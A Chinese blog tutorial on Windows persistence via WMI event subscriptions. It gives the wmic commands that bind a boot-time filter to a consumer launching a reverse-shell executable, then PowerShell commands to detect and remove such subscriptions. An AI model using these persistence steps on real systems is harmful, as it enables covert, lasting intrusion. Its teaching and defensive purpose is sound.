内网权限维持——利用WMI进行权限维持
文章目录
- 一、WMI事件订阅机制简介
- 二、利用事件订阅进行权限维持
- 三、防御方式
一、WMI事件订阅机制简介
WMI(Windows Management Instrumentation,Windows管理规范)是windows提供的一种能够直接与系统进行交互的机制,旨在为系统中运行的各程序界定一套独立于环境的标准,允许系统中允许的程序相互交流系统的程序管理信息。
WMI事件是Windows管理架构中的一部分,它可以监视应用程序的运行、响应系统和应用程序的事件。通过使用WMI事件,应用程序可以接收系统各类通知,并且在特定事件发生时采取相应的措施。例如,磁盘空间不足时可以通过WMI事件来发出警报等。WMI事件可以通过编写WMI查询或使用WMI事件订阅API来捕获。
WMI事件订阅是一种消息机制,用来监听事件类的触发。简单来书,设置一个监听磁盘空间不足的事件订阅,程序可以在磁盘不足的第一时间接收到WMI的告警。事件订阅中有很多类,这里主要关注以下类:
| 类名 | 作用 |
|---|---|
| EventFilter | 触发器 |
| EventConsumer | 执行动作 |
| FilterToConsumerBinding | 绑定过滤器和消费者类(负责捆绑EventFilter和EventConsumer) |
二、利用事件订阅进行权限维持
1、WQL是一种类似SQL的查询语句,是WMI提供的一种用于WMI查询或WMI事件订阅的语句。在命令行中输入wbemtest,打开Windows Management Instrumentation测试器来通过WQL语句查询系统信息。
wbemtest

打开后进入一个命名空间,点击“连接”——“查询”。


使用WQL查询当前系统中所有进程的PID。
select * from Win32_Process

此外,还有其他查询语句。
# 获取主机名
select * from Win32_ComputerSystem
# 获取BOIS信息
select * from Win32_BOIS
# 获取键盘信息
select * from Win32_Keyboard
# 获取服务列表
select * from Win32_Service
# 获取磁盘列表
select * from Win32_LogicalDisk
# 获取光驱信息
select * from Win32_CDROMDriver
2、利用WMI通知查询的方式来监听windows打印机任务,选择“通知查询”。并使用如下WQL语句:
select * from __InstanceCreationEvent within 0.001 where TargetInstance ISA "Win32_PrintJob"
# __InstanceCreateEvent:代表windows事件类
# within 0.001:代表轮询时间,轮询时间为0.001s,可以理解为每毫秒查询一次该事件
# TargetInstance:实例名称
# ISA:等于
# Win32_PrintJob:打印机名称
3、我们可以将通知查询和执行动作进行捆绑,捆绑之后,系统触发某项查询规则时会立即执行对应动作。首先创建一个触发器,代码如下:
# 在系统初始化之后的第60秒将会进行通知
wmic /namespace:"\\root\subscription" PATH __EventFilter create Name="Testone",EventNameSpace="root\cimv2",Querylanguage="WQL",Query="select * from __InstanceModificationEvent within 60 where TargetInstance ISA "Win32_PerfFormattedData_PerfOS_SYSTEM""
# __EventFilter:触发器
# Testone:触发器名称
# 触发的通知条件由Query决定
# Win32_PerfFormattedData_PerfOS_SYSTEM:windows系统初始化
4、创建好触发器后,需要绑定一个对应的执行动作,也就是触发器在查询到想要的内容后就会触发绑定的执行动作。执行动作需要将命名空间指定为触发器所设置的命名空间,创建执行动作可以使用EventConsumer来完成。当然,需要生成反弹shell,设置监听器哈!
# 当Testone时间被触发后,C:\tmp\reverse_shell.exe将会被执行
wmic /namespace:"\\root\subscription" PATH CommandLineEventConsumer create Name="Testone",ExecutablePath="C:\tmp\reverse_shell.exe",CommandLineTemplate="C:\tmp\reverse_shell.exe"

5、使用FilterToConsumerBinding来绑定刚刚所创建的触发器和执行动作。
# 绑定触发器和执行动作
wmic /namespace:"\\root\subscription" PATH __FilterToConsumerBinding create Filter="__EventFilter.Name=\"Testone\"",Consumer="CommandLineEventConsumer.Name=\"Testone\""

6、重启计算,在系统进行初始化工作(重启/重新登录)的第60秒,获取反弹shell。

三、防御方式
# 查询系统所有命名空间
Get-WmiObject -Namespace root -List -Recurse | Select -Unique __NAMESPACE
# 查询root\subscription命名空间中是否存在执行恶意命令的触发器
Get-WmiObject -Namespace root\subscription -Class CommandLineEventConsumer | select CommandLineTemplate,ExecutablePath

# 列出事件过滤器
Get-WMIObject -Namespace root\Subscription -Class __EventFilter

# 列出事件消费者
Get-WMIObject -Namespace root\Subscription -Class __EventConsumer

# 列出事件绑定
Get-WMIObject -Namespace root\Subscription -Class __FilterToConsumerBinding

# 删除事件过滤器
Get-WMIObject -Namespace root\Subscription -Class __EventFilter -Filter "Name='Testone'" | Remove-WmiObject -Verbose

# 删除事件消费者
Get-WMIObject -Namespace root\Subscription -Class CommandLineEventConsumer -Filter "Name='Testone'" | Remove-WmiObject -Verbose

# 删除事件绑定
Get-WMIObject -Namespace root\Subscription -Class __FilterToConsumerBinding -Filter "__Path LIKE '%Testone%'" | Remove-WmiObject -Verbose

# 查询root\subscription命名空间中是否存在执行恶意命令的触发器
Get-WmiObject -Namespace root\subscription -Class CommandLineEventConsumer | select CommandLineTemplate,ExecutablePath

至此,系统初始化后的第60s,不会运行反弹shell脚本。
相关文章:
内网权限维持——利用WMI进行权限维持
文章目录 一、WMI事件订阅机制简介二、利用事件订阅进行权限维持三、防御方式 一、WMI事件订阅机制简介 WMI(Windows Management Instrumentation,Windows管理规范)是windows提供的一种能够直接与系统进行交互的机制,旨在为系统中…...
【数据结构算法经典题目刨析(c语言)】括号匹配问题(图文详解)
💓 博客主页:C-SDN花园GGbond ⏩ 文章专栏:数据结构经典题目刨析(c语言) 目录 一、题目描述 二、解题思路 三、代码实现 一、题目描述 二、解题思路 问题要求将三种类型括号匹配,其中包括顺序匹配和数量匹配 使用栈的后进先…...
浅谈 Spring AOP框架 (1)
文章目录 一、什么是 Spring AOP二、为什么要使用 Spring AOP三、AOP 的一些应用场景四、AOP 的组成五、如何使用 Spring AOP六、Spring AOP 的实现原理6.1、JDK 和 CGLIB 的区别 一、什么是 Spring AOP AOP (Aspect Oriented Programming) :面向切面编程ÿ…...
Linux 面试准备 - 2024
复习一下,资料来自慕课网课程 Linux 速成班和一些网上面试资料。 1. Linux 内核功能 1. 内存管理 2. 进程管理 3. 设备驱动程序 4. 系统调用和安全防护 2. 文件系统 - 一切皆文件 2.1 文件目录 /根目录etc配置文件bin必要命令usr 二级目录(非用户…...
C++笔记---类和对象(中)
1. 类的默认成员函数 默认成员函数就是用户没有显式实现,编译器会自动生成的成员函数称为默认成员函数。 一个类,我们不写的情况下编译器会默认生成以下6个默认成员函数,分别为:构造函数,析构函数,拷贝构…...
【C++】入门基础知识
河流之所以能够到达目的地,是因为它懂得怎样避开障碍。💓💓💓 目录 ✨说在前面 🍋知识点一:C的发展历史 • 🌰1.C发展历史 • 🌰2.C的迭代与更新 • 🌰3.编程语言排…...
AI的应用场景和未来展望
AI(人工智能)的应用场景广泛且多样,已经深入到我们生活的方方面面,成为现代社会不可或缺的一部分。 AI的应用场景 1、通用软件与工具型应用 办公软件:如钉钉、飞书等,通过AI技术提供内容生成与摘要、智能…...
vim、sublime、notepad文本编辑器的使用
VIM: Windows上配置gvim并作为C和C的IDE Windows上配置gvim并作为C和C的IDE | Reasuon sublime notepad...
PyCharm中的外部更改识别:终极解决方案指南
标题:PyCharm中的外部更改识别:终极解决方案指南 引言 PyCharm,作为JetBrains公司开发的集成开发环境(IDE),以其强大的功能和高效的代码编辑体验而广受开发者喜爱。然而,在开发过程中…...
Qt——QTCreater ui界面如何统一设置字体
第一步:来到 ui 设计界面,鼠标右键点击 改变样式表 第二步:选择添加字体 第三步:选择字体样式和大小,点击 ok 第四步:点击ok或apply,完成设置...
Linux驱动入门实验班day03-GPIO子系统概述
3.通用框架1——最简单方式1:执行命令cat /sys/kernel/debug/gpio查看串口信息 gpio4对应的下列 方式2: 对于按键GPIO4_14:对应第四组第14个引脚 gpiochip3 ,从96开始, 9614110;...
240803-沉侵式翻译插件配置Ollama的API实现网页及PDF文档的翻译
1. 在插件中点击Options按钮 2. 在开发者模式中启动Enable Beta Testing Features 3 在General中进行设置 ## 4. 在Expand中设置API的URL 5. Qwen:0.5B网页翻译效果 6. Qwen:0.5BPDF翻译效果 7. 参考文献 gemma - 给沉浸式翻译插件配置本地大模型o…...
HTML-08.表单标签
一.表单标签 场景:在网页中主要负责数据采集功能,如注册、登录等数据采集 标签:<form> 表单项:不同类型的input元素、下拉列表、文本域等 <input>:定义表单项。通过type属性控制输入形式 <select>:定义下拉列表…...
SAP ABAP se16n 双击跳转实现
参考老白 SAP小技巧 改造SE16N(九 双击跳转及字段描述优化) (qq.com) se16n 双击跳转实现 我的实现 se38 lse16nlcl 287行 call method cl_gui_control>set_focusexporting control alv_grid. *.....at the moment do detail view on double clickCALL METHOD cl_gu…...
Linux shell编程学习笔记68: curl 命令行网络数据传输工具 选项数量雷人(上)
0 前言 在网络时代,有经常需要在网络上传输数据,时我们需要通过网络下载文件,为了满足这种时代需要,Linux提供了众多网络命令,我们今天先研究curl命令。例如,我们可以使用 curl 从 URL 下载文件࿰…...
马尔科夫决策过程
马尔科夫决策过程 贝尔曼方程 贝尔曼方程(Bellman Equation)是动态规划中的一个核心概念,用于解决最优决策问题。贝尔曼方程通过递归的方式,将问题分解为子问题,从而使得最优策略的求解变得可行。贝尔曼方程广泛应用…...
未知攻焉知防:从攻击者视角看网络安全的“攻守之道”
自首届网络安全攻防实战演练开展以来,这一活动已成为网络安全领域备受关注的大事件。今年,攻防实战演练更上升到了一个全新高度,包括行动任务数量、演练周期时长、攻击强度以及演练类别等,较以往都有极大提升,堪称“史…...
数字孪生赋能智慧城市大脑智建设方案(可编辑65页PPT)
引言:随着科技的飞速发展,智慧城市的建设已成为全球城市发展的新趋势。数字孪生技术作为其中的关键技术之一,正逐步赋能智慧城市大脑的建设,推动城市治理从数字化向智能化、智慧化转型升级。本方案旨在简要介绍数字孪生赋能智慧城…...
c++----内存管理
okk,大家好。我们大家学习了鄙人的前面前面几篇博客,并且还稍微使用了一些c的基础知识。并且我们前面都说过,我们前面学习的知识都说过。我们前面的几篇博客都是我们以后使用c基础。但是我们大家都知道现在代码都关注什么时间啊,内…...
C++——哈希结构
1.unordered系列关联式容器 本节主要介绍unordered_map和unordered_set两个容器,底层使用哈希实现的 unordered_map 1.unordered_map是储存<key,value>键值对的关联式容器,其允许通过key快速查找到对应的value,和map非常相似&#x…...
Spark 之 入门讲解详细版(1)
1、简介 1.1 Spark简介 Spark是加州大学伯克利分校AMP实验室(Algorithms, Machines, and People Lab)开发通用内存并行计算框架。Spark在2013年6月进入Apache成为孵化项目,8个月后成为Apache顶级项目,速度之快足见过人之处&…...
基于服务器使用 apt 安装、配置 Nginx
🧾 一、查看可安装的 Nginx 版本 首先,你可以运行以下命令查看可用版本: apt-cache madison nginx-core输出示例: nginx-core | 1.18.0-6ubuntu14.6 | http://archive.ubuntu.com/ubuntu focal-updates/main amd64 Packages ng…...
Keil 中设置 STM32 Flash 和 RAM 地址详解
文章目录 Keil 中设置 STM32 Flash 和 RAM 地址详解一、Flash 和 RAM 配置界面(Target 选项卡)1. IROM1(用于配置 Flash)2. IRAM1(用于配置 RAM)二、链接器设置界面(Linker 选项卡)1. 勾选“Use Memory Layout from Target Dialog”2. 查看链接器参数(如果没有勾选上面…...
深度学习水论文:mamba+图像增强
🧀当前视觉领域对高效长序列建模需求激增,对Mamba图像增强这方向的研究自然也逐渐火热。原因在于其高效长程建模,以及动态计算优势,在图像质量提升和细节恢复方面有难以替代的作用。 🧀因此短时间内,就有不…...
免费数学几何作图web平台
光锐软件免费数学工具,maths,数学制图,数学作图,几何作图,几何,AR开发,AR教育,增强现实,软件公司,XR,MR,VR,虚拟仿真,虚拟现实,混合现实,教育科技产品,职业模拟培训,高保真VR场景,结构互动课件,元宇宙http://xaglare.c…...
[ACTF2020 新生赛]Include 1(php://filter伪协议)
题目 做法 启动靶机,点进去 点进去 查看URL,有 ?fileflag.php说明存在文件包含,原理是php://filter 协议 当它与包含函数结合时,php://filter流会被当作php文件执行。 用php://filter加编码,能让PHP把文件内容…...
系统掌握PyTorch:图解张量、Autograd、DataLoader、nn.Module与实战模型
本文较长,建议点赞收藏,以免遗失。更多AI大模型应用开发学习视频及资料,尽在聚客AI学院。 本文通过代码驱动的方式,系统讲解PyTorch核心概念和实战技巧,涵盖张量操作、自动微分、数据加载、模型构建和训练全流程&#…...
Xela矩阵三轴触觉传感器的工作原理解析与应用场景
Xela矩阵三轴触觉传感器通过先进技术模拟人类触觉感知,帮助设备实现精确的力测量与位移监测。其核心功能基于磁性三维力测量与空间位移测量,能够捕捉多维触觉信息。该传感器的设计不仅提升了触觉感知的精度,还为机器人、医疗设备和制造业的智…...
UE5 音效系统
一.音效管理 音乐一般都是WAV,创建一个背景音乐类SoudClass,一个音效类SoundClass。所有的音乐都分为这两个类。再创建一个总音乐类,将上述两个作为它的子类。 接着我们创建一个音乐混合类SoundMix,将上述三个类翻入其中,通过它管理每个音乐…...
C++ 类基础:封装、继承、多态与多线程模板实现
前言 C 是一门强大的面向对象编程语言,而类(Class)作为其核心特性之一,是理解和使用 C 的关键。本文将深入探讨 C 类的基本特性,包括封装、继承和多态,同时讨论类中的权限控制,并展示如何使用类…...
